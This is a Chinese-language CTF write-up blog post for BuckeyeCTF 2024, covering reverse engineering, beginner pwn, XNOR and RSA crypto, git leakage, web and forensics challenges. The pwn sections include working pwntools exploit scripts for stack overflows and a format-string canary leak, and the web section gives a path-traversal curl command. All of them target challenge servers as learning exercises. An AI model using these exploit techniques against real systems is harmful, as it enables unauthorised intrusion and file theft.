jojo,一個人的能力是有極限的 我從短暫的人生中學到一件事……
越是玩CTF,就越會發現一個人的能力是有極限的… 除非超越人類。
喬納森:
你到底想說什麼?
前言 #
這次參加的是 BuckeyeCTF 2024 ,這次在CTFtime找比賽的時候有看到一個有點類似picoCTF gym的網站(?
裡面也是滿多他舉辦的CTF歷屆題目的
網址點我 有興趣可以去練習
本次排名 145/648 解出13題 但都滿基本的
題目 #
bctf #
rev #
flagwatch #
透過 工具把腳本逆向成回來,透過ASCII解密得到原始碼,看出加密邏輯
a=[62,63,40,58,39,40,111,63,52,50,53,63,104,48,48,37,3,61,3,55,57,37,48,108,59,59,111,46,33]
print(len(a))
for i in range(29):
print(chr(a[i]^92),end='')
# flag bctf{t3chnic4lly_a_keyl0gg3r}
text #
使用工具jd-gui-windows-1.6.6
這題是透過把文字冒險寫成jar然後要逆向
但透過jd-gui去察看後會發現裡面基本上就是一對if else來控制
慢慢逆向即可
雖然滿簡單但我覺得滿好玩的
payload
enter
pick up torch
go right
cross the bridge
take rope (CrystalRoom)
leave
leave
go center
go down
go right
use the rope
pick up sword (AcrossRiver)
leave
leave
leave
leave (EntryHall)
go left
cut
pick up key
leave
leave
go center
go down
left
unlock the door
reach through the crack in the rocks
the crack in the rocks concealing the magical orb with the flag
flag: bctf{P33r_1nT0_tH3_j4r_2_f1nd_Th3_S3cR3Ts_d1463580a690f294}
beginner-pwn #
runway0 #
array開100但允許輸入0x100,存在overwrite漏洞,把想執行的東西蓋到command[]的部分即可 ‘a’*112+cat flag.txt flag: bctf{0v3rfl0w_th3_M00m0ry_2d310e3de286658e}
runway1 #
透過overflow把win function的address覆蓋到return address,也就是esp
的值
from pwn import *
import sys
import time
context.log_level = "debug"
context.arch = "amd64"
def one_gadget(filename: str) -> list:
return [
int(i) for i in __import__('subprocess').check_output(
['one_gadget', '--raw', filename]).decode().split(' ')
]
if len(sys.argv) == 1:
r = process("./runway1")
if args.GDB:
gdb.attach(r,'b *(0x804928f)')
elif len(sys.argv) == 3:
r = remote(sys.argv[1], sys.argv[2])
else:
print("Usage: python3 {} [GDB | REMOTE_IP PORT]".format(sys.argv[0]))
sys.exit(1)
s = lambda data :r.send(data)
sa = lambda x, y :r.sendafter(x, y)
sl = lambda data :r.sendline(data)
sla = lambda x, y :r.sendlineafter(x, y)
ru = lambda delims, drop=True :r.recvuntil(delims, drop)
uu32 = lambda data,num :u32(r.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(r.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {}'.format(name, addr))
l64 = lambda :u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(r.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
# payload -->
win = 0x80491E6
payload= cyclic(76) + p64(win)
sla("What is your favorite food?\n",payload)
r.interactive()
run2 #
本來還以為要串ROP哈哈
中間卡很久,結果後面才發現他是x32的檔案然後我都用p64
導致覆蓋會多補八個0 改成p32就正常==
一樣是overflow到win func只是這次win func會額外查看兩個if條件式
from pwn import *
import sys
import time
context.log_level = "debug"
context.arch = "amd64"
def one_gadget(filename: str) -> list:
return [
int(i) for i in __import__('subprocess').check_output(
['one_gadget', '--raw', filename]).decode().split(' ')
]
if len(sys.argv) == 1:
r = process("./runway2")
if args.GDB:
gdb.attach(r,'b *(0x80492D3)')
elif len(sys.argv) == 3:
r = remote(sys.argv[1], sys.argv[2])
else:
print("Usage: python3 {} [GDB | REMOTE_IP PORT]".format(sys.argv[0]))
sys.exit(1)
s = lambda data :r.send(data)
sa = lambda x, y :r.sendafter(x, y)
sl = lambda data :r.sendline(data)
sla = lambda x, y :r.sendlineafter(x, y)
ru = lambda delims, drop=True :r.recvuntil(delims, drop)
uu32 = lambda data,num :u32(r.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(r.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {}'.format(name, addr))
l64 = lambda :u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(r.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
# payload -->
pop_ebp = 0x804930B
win = 0x8049206
payload= cyclic(28) + p64(win)+p32(0xc0ffee)+p64(0x7ab1e)
sla("?\n",payload)
r.interactive()
color #
其實不太懂這題,輸入A的數量剛好把array蓋滿,之後就會噴flag了
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# flag bctf{1_d0n7_c4r3_571ll_4_m1d_c010r}
crypto #
nxor #
做xor先得出key,再去解flag,都xor回去就好
import os
def xnor_bit(a_bit, b_bit):
if a_bit == "1" and b_bit == "1":
return "1"
elif a_bit == "1" and b_bit == "0":
return "0"
elif a_bit == "0" and b_bit == "1":
return "0"
elif a_bit == "0" and b_bit == "0":
return "1"
def xnor_byte(a_byte, b_byte):
a_bits = get_bits_from_byte(a_byte)
b_bits = get_bits_from_byte(b_byte)
result_bits = [xnor_bit(a_bits[i], b_bits[i]) for i in range(8)]
result_byte = get_byte_from_bits(result_bits)
return result_byte
def xnor_bytes(a_bytes, b_bytes):
assert len(a_bytes) == len(b_bytes)
return bytes([xnor_byte(a_bytes[i], b_bytes[i]) for i in range(len(a_bytes))])
def get_bits_from_byte(byte):
return list("{:08b}".format(byte))
def get_byte_from_bits(bits):
return int("".join(bits), 2)
message = b"Blue is greener than purple for sure!"
key = bytes.fromhex('430e026909e35c169518dc18832d134d156862635e5fc58175fe9dafd88819e22e25bb2326')
flag = "de9289f08d6bcb90359f4dd70e8d95829fc8ffaf90ce5d21f96e3d635f148a68e4eb32efa4"
enc_flag = bytes.fromhex(flag)
encrypted_hex = "fe9d88f3d675d0c90d95468212b79e929efffcf281d04f0cfa6d07704118943da2af36b9f8"
encrypted_bytes = bytes.fromhex(encrypted_hex)
def main():
print(f"\nMessage: {message}")
encrypted = xnor_bytes(message, encrypted_bytes)
print(f"key: {encrypted.hex()}")
encrypted_flag = xnor_bytes(enc_flag, key)
print(f"Encrypted flag: {encrypted_flag}")
if __name__ == "__main__":
main()
flag: bctf{why_xn0r_y0u_b31ng_so_3xclu51v3}
rsa #
好用 https://www.dcode.fr/rsa-cipher flag: bctf{f4c70r1z3_b3773r_4d3b35e4}
misc #
sanity #
其實就是welcome
donut #
一個開頭隨機的河內塔問題
成功借助工人智慧解開
gitgoo #
先透過 gitTool 下載網站意外洩露的.git內容的東西
./gitdumper.sh https://gitgoo.challs.pwnoh.io/.git/ dest-dir
直接進去看 .git/log/HEAD 的內容 發現在版本號9b474236ba20cf3f7d484b76348de51c819c0d65
有顯示洩露了flag 然後就回朔就好ㄌ
進到dest-dir開始查看git的東西
git checkout 9b474236ba20cf3f7d484b76348de51c819c0d65
git show
flag: bctf{1_h4v3_c0mm17m3n7_i55u3s_cf39ab917a7dd092992a8f9b}
web #
fu #
flag在原始碼內,但在網頁內不能F12或右鍵查看
在網址最前面加view-source:
即可
forensics #
unknown #
下載,打開
沒解出來但好奇的 #
beginner-pwn / calculator、runway3 #
這兩題都是有開canary檢測是否有overflow的,這邊先講run3
這題執行後會讓你輸入兩次,每次輸入後都會echo回去
由於沒有特別檢測,因此這邊第一次輸入可以輸入&13$p
來leak出canary的值
因此最後payload就變成先傳送到能覆蓋的部分,接著送入canary的值,送入p64(0)對齊,最後輸入win function
這邊直接跳到win func的頭會有問題,最少要跳到win+0x5以後才可以正常開shell
from pwn import *
import sys
import time
context.log_level = "debug"
context.arch = "amd64"
def one_gadget(filename: str) -> list:
return [
int(i) for i in __import__('subprocess').check_output(
['one_gadget', '--raw', filename]).decode().split(' ')
]
if len(sys.argv) == 1:
r = process("./runway3")
if args.GDB:
gdb.attach(r)
elif len(sys.argv) == 3:
r = remote(sys.argv[1], sys.argv[2])
else:
print("Usage: python3 {} [GDB | REMOTE_IP PORT]".format(sys.argv[0]))
sys.exit(1)
s = lambda data :r.send(data)
sa = lambda x, y :r.sendafter(x, y)
sl = lambda data :r.sendline(data)
sla = lambda x, y :r.sendlineafter(x, y)
ru = lambda delims, drop=True :r.recvuntil(delims, drop)
uu32 = lambda data,num :u32(r.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(r.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {}'.format(name, addr))
l64 = lambda :u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(r.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
# payload -->
sla(b"?\n", b"%13$p")
canary = int(r.readline().decode(), 16)
win = 0x4011D6 + 0x5
payload= cyclic(40)
payload+=p64(canary)
payload += p64(0)
payload+=p64(win)
sl(payload)
r.interactive()
另一題calu則是一個計算機,一開始讓你輸入兩個數字做運算,最後讓你輸入任意東西
這邊先透過在第一次輸入1*pi,接著他會問你pi要幾位數,輸入100016,後面[-11:-3]即為canary的內容
接下來就和上面run3差不多ㄌ
pwn / no_handouts #
以為是ret2libc 結果是要串ROP自己寫shell去讀flag.txt
哈哈我回去乖乖複習ROP那堂課…
web / SSFS #
本來以為是web shell結果只是LFI哈哈
直接在網站搜尋/../../flag.txt,前面../的部分會被自動審略,因此透過curl –path-as-is來避免過濾掉../
curl --path-as-is https://ssfs.challs.pwnoh.io/download/../../flag.txt
forensics / couch potato、wreck、duck-pics #
couch potato 一個wav檔,透過 SSTV Decoder轉成png就有flag了 wreck 一個elf檔案,strings grep flag他會看到有flag.jpg的東西,透過binwalk把他內容dump下來
binwalk -e --dd='.*' dump
進入資料夾後
file * |grep JPEP
xdg-open 檔案編號
duck-pics pcap題目 查看內容猜測是跟鍵盤運作有關,先把內容dump下來,在透過 工具解密
tshark -r capture.pcapng -Y 'usb.src == "1.1.1"' -T fields -e usbhid.data |sed 's/../:&/g2' > output
python3 convert.py output
總結 #
這次學到了滿多東西,一些工具的使用,還有一些之前學到的技術的實際應用
後面看別人的wu也學了滿多東西(主要是canary的部分啦)
然後我這次的排版我覺得有夠醜 下禮拜改進
最後隨便放一句
時よ止まれ、おまえは美しい